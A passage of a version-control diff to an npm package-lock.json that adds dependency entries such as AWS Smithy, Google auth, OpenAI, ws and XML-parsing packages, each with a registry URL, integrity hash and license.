"sha512-KoUi4M1f3BG6kzN1FnCwL7oyFptTbyBJKjR6yhSib+JHRdUmM1o+VwsFtJ66NZCkCzVfJMWRHJNo0R0jznp0Pg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/crc32": "5.2.0", + "@smithy/types": "^4.14.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/credential-provider-imds": { + "version": "4.3.9", + "resolved": "https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.3.9.tgz", + "integrity": "sha512-ZlfJ/4Fa3jYb+3eaohPfG9utX9HmdhFNcFtpoGAhUhdynAOmGXtmigbi7eEiONKM+ykHw8RwKuDEb85Lx7t7fA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.7", + "@smithy/types": "^4.14.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/fetch-http-handler": { + "version": "5.4.7", + "resolved": "https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.4.7.tgz", + "integrity": "sha512-NslaM2ir0N2hisDmzXLstPaVINZheh8SokyOC++kzFPloZucL2R7Y7bS57mSzx/1Fc/fqmn7twjkeezTTrV0EA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.7", + "@smithy/types": "^4.14.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/is-array-buffer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", + "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/node-http-handler": { + "version": "4.7.3", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.3.tgz", + "integrity": "sha512-/jPhevcTFPMVl6KNjbaI47iOg1zxC7IsnX4PQDGVZKMFceOXtB8IEYaB7a9VvkP/3oC60WzTeKocvSI7vLT0vA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.3", + "@smithy/types": "^4.14.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/signature-v4": { + "version": "5.4.7", + "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.4.7.tgz", + "integrity": "sha512-LwQZazFayImv+IOm0S0enoLeUJwmAlhGC5O6YCcLWezyu08dF46GOxPOq35OpBIHkgd7OvNvBStIFwVNyrvoBw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.24.7", + "@smithy/types": "^4.14.4", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/types": { + "version": "4.14.4", + "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.4.tgz", + "integrity": "sha512-B2S9+UGm1+/pHkcx3ZoLVX1a+pmSk8rqxRR+ZsNqZaJ5q9FWX9AFGQVM4qG5+OBeQUZVy99HY8HqW8gK/wgXzQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-buffer-from": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", + "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@smithy/util-utf8": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", + "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, "node_modules/@standard-schema/spec": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", @@ -843,12 +1586,17 @@ "version": "22.19.21", "resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.21.tgz", "integrity": "sha512-VMeFBSCKQKmm2swI2kW51SFusDqekC6q9trBCvJ/JliDchFSuoYYKN7yVNjPthP1HKZcx3U1gI/wTcEBjEFKTA==", - "dev": true, "license": "MIT", "dependencies": { "undici-types": "~6.21.0" } }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "license": "MIT" + }, "node_modules/@vitest/expect": { "version": "4.1.8", "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.8.tgz", @@ -962,6 +1710,27 @@ "url": "https://opencollective.com/vitest" } }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/anynum": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.0.tgz", + "integrity": "sha512-xjR9/zBVnUOP6ztMIIgShjsxui80nQUQH+5xJnvrYLs+90bF25/KJqaAi8mk+B4RDtX1Nspi6fmp4YTEts8SfA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, "node_modules/assertion-error": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", @@ -972,6 +1741,47 @@ "node": ">=12" } }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bignumber.js": { + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", + "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/bowser": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", + "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", + "license": "MIT" + }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "license": "BSD-3-Clause" + }, "node_modules/chai": { "version": "6.2.2", "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", @@ -989,6 +1799,32 @@ "dev": true, "license": "MIT" }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, "node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", @@ -999,6 +1835,15 @@ "node": ">=8" } }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, "node_modules/es-module-lexer": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.1.0.tgz", @@ -1068,6 +1913,49 @@ "node": ">=12.0.0" } }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", + "license": "MIT" + }, + "node_modules/fast-xml-builder": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", + "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "path-expression-matcher": "^1.5.0", + "xml-naming": "^0.1.0" + } + }, + "node_modules/fast-xml-parser": { + "version": "5.7.3", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.7.3.tgz", + "integrity": "sha512-C0AaNuC+mscy6vrAQKAc/rMq+zAPHodfHGZu4sGVehvAQt/JLG1O5zEcYcXSY5zSqr4YVgxsB+pHXTq0i7eDlg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "@nodable/entities": "^2.1.0", + "fast-xml-builder": "^1.1.7", + "path-expression-matcher": "^1.5.0", + "strnum": "^2.2.3" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, "node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", @@ -1086,6 +1974,41 @@ } } }, + "node_modules/fetch-blob": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", + "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "paypal", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "dependencies": { + "node-domexception": "^1.0.0", + "web-streams-polyfill": "^3.0.3" + }, + "engines": { + "node": "^12.20 || >= 14.13" + } + }, + "node_modules/formdata-polyfill": { + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", + "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", + "license": "MIT", + "dependencies": { + "fetch-blob": "^3.1.2" + }, + "engines": { + "node": ">=12.20.0" + } + }, "node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", @@ -1101,6 +2024,138 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/gaxios": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.5.tgz", + "integrity": "sha512-5FZy72Rh8LhtjmvDrKkI+lVhrsQrVKVsItxMoDm5mNQE+xR0WVIIs+jzPSJgBvKVsLi24fZhXJIsNI0bihDzFg==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "node-fetch": "^3.3.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/gcp-metadata": { + "version": "8.1.2", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", + "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^7.0.0", + "google-logging-utils": "^1.0.0", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/google-auth-library": { + "version": "10.7.0", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.7.0.tgz", + "integrity": "sha512-QpTAbNJ36TliZLx3TTtahR8HG0hN9RllL1e3FymOvQSIKK8JmgV58H924ub2wa2DsS3ANjjP1Aw1N+Ramc8hqQ==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^7.1.4", + "gcp-metadata": "8.1.2", + "google-logging-utils": "1.1.3", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/google-logging-utils": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", + "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/json-bigint": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", + "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", + "license": "MIT", + "dependencies": { + "bignumber.js": "^9.0.0" + } + }, + "node_modules/json-schema-to-ts": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", + "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "ts-algebra": "^2.0.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "license": "MIT", + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "license": "MIT", + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, "node_modules/lightningcss": { "version": "1.32.0", "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", @@ -1362,6 +2417,12 @@ "url": "https://opencollective.com/parcel" } }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, "node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", @@ -1372,6 +2433,12 @@ "@jridgewell/sourcemap-codec": "^1.5.5" } }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, "node_modules/nanoid": { "version": "3.3.12", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", @@ -1391,6 +2458,44 @@ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" } }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "deprecated": "Use your platform's native DOMException instead", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "license": "MIT", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, "node_modules/obug": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.3.tgz", @@ -1405,6 +2510,61 @@ "node": ">=12.20.0" } }, + "node_modules/openai": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-6.26.0.tgz", + "integrity": "sha512-zd23dbWTjiJ6sSAX6s0HrCZi41JwTA1bQVs0wLQPZ2/5o2gxOJA5wh7yOAUgwYybfhDXyhwlpeQf7Mlgx8EOCA==", + "license": "Apache-2.0", + "bin": { + "openai": "bin/cli" + }, + "peerDependencies": { + "ws": "^8.18.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/partial-json": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/partial-json/-/partial-json-0.1.7.tgz", + "integrity": "sha512-Njv/59hHaokb/hRUjce3Hdv12wd60MtM9Z5Olmn+nehe0QDAsRtRbJPvJ0Z91TusF0SuZRIvnM+S4l6EIP8leA==", + "license": "MIT" + }, + "node_modules/path-expression-matcher": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.5.0.tgz", + "integrity": "sha512-cbrerZV+6rvdQrrD+iGMcZFEiiSrbv9Tfdkvnusy6y0x0GKBXREFg/Y65GhIfm0tnLntThhzCnfKwp1WRjeCyQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, "node_modules/pathe": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", @@ -1461,6 +2621,38 @@ "node": "^10 || ^12 || >=14" } }, + "node_modules/protobufjs": { + "version": "7.6.4", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.4.tgz", + "integrity": "sha512-RJJPTTpvFfHcWLkIa2JFWK4XvtSzS0yEWDmunqHXli1h3JlkbcQZXDZdcWxv+JK3Xsl5/UFDPZ0iGm7DAengYw==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.5", + "@protobufjs/eventemitter": "^1.1.1", + "@protobufjs/fetch": "^1.1.1", + "@protobufjs/float": "^1.0.2", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.1", + "@types/node": ">=13.7.0", + "long": "^5.3.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, "node_modules/rolldown": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz", @@ -1495,6 +2687,26 @@ "@rolldown/binding-win32-x64-msvc": "1.0.3" } }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, "node_modules/siginfo": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", @@ -1526,6 +2738,21 @@ "dev": true, "license": "MIT" }, + "node_modules/strnum": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.0.tgz", + "integrity": "sha512-sHrVyWWdq28RbhjuJdZsA1SnGRJV6NiXbk6AXBxDOsgAcA+lmpUZCYjOdLBxkXMwis6RRe7dlZt4VlIWFVzkmg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "dependencies": { + "anynum": "^1.0.0" + } + }, "node_modules/tinybench": { "version": "2.9.0", "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", @@ -1570,13 +2797,17 @@ "node": ">=14.0.0" } }, + "node_modules/ts-algebra": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", + "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", + "license": "MIT" + }, "node_modules/tslib": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", - "dev": true, - "license": "0BSD", - "optional": true + "license": "0BSD" }, "node_modules/tsx": { "version": "4.22.4", @@ -1597,6 +2828,12 @@ "fsevents": "~2.3.3" } }, + "node_modules/typebox": { + "version": "1.1.38", + "resolved": "https://registry.npmjs.org/typebox/-/typebox-1.1.38.tgz", + "integrity": "sha512-pZ0aQPmMmXoUvSbeuWf/Hzsc+avNw/Zd6VeE8CFgkVGWyuHPJvqeJJDeJqLve+K70LvjYIoleGcoJHPT17cWoA==", + "license": "MIT" + }, "node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", @@ -1615,7 +2852,6 @@ "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", - "dev": true, "license": "MIT" }, "node_modules/vite": { @@ -1786,6 +3022,15 @@ } } }, + "node_modules/web-streams-polyfill": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz", + "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, "node_modules/why-is-node-running": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", @@ -1803,6 +3048,57 @@ "node": ">=8" } }, + "node_modules/ws": { + "version": "8.21.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", + "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-naming": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.1.0.tgz", + "integrity": "sha512-k8KO9hrMyNk6tUWqUfkTEZbezRRpONVOzUTnc97VnCvyj6Tf9lyUR9EDAIeiVLv56jsMcoXEwjW8Kv5yPY52lw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/yaml": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.0.tgz", + "integrity": "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==", + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } 